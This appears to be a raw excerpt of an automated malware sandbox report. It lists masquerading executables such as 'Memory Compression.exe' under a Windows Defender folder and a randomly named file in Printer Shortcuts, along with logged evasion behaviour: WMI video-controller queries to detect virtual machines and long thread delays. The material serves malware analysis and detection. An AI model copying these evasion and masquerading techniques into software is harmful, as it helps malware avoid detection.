Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\cougif6lqM.exe	Memory allocated: 14D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Memory allocated: 1B160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Memory allocated: 1420000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Memory allocated: 1B270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Memory allocated: 2960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Memory allocated: 1ABE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\cmd.exe	Memory allocated: 750000 memory reserve \| memory write watch
Source: C:\Users\user\cmd.exe	Memory allocated: 1A480000 memory reserve \| memory write watch
Source: C:\Users\user\cmd.exe	Memory allocated: 13B0000 memory reserve \| memory write watch
Source: C:\Users\user\cmd.exe	Memory allocated: 1B110000 memory reserve \| memory write watch
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Memory allocated: EA0000 memory reserve \| memory write watch
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Memory allocated: 1ABF0000 memory reserve \| memory write watch
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Memory allocated: 13B0000 memory reserve \| memory write watch
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Memory allocated: 1AD90000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Memory allocated: B40000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Memory allocated: 1A770000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Memory allocated: 1750000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Memory allocated: 1B370000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\cougif6lqM.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\cmd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\cmd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Window / User API: threadDelayed 7407	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Window / User API: threadDelayed 2445	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Window / User API: threadDelayed 804	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Window / User API: threadDelayed 1451	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9255
Source: C:\Users\user\cmd.exe	Window / User API: threadDelayed 363
Source: C:\Users\user\cmd.exe	Window / User API: threadDelayed 364
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Window / User API: threadDelayed 361
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Window / User API: threadDelayed 367
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Window / User API: threadDelayed 366

Source: C:\Users\user\Desktop\cougif6lqM.exe TID: 7304	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe TID: 4316	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe TID: 7600	Thread sleep count: 804 > 30	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe TID: 7600	Thread sleep count: 1451 > 30	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe TID: 7572	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -4611686018427385s >= -30000s
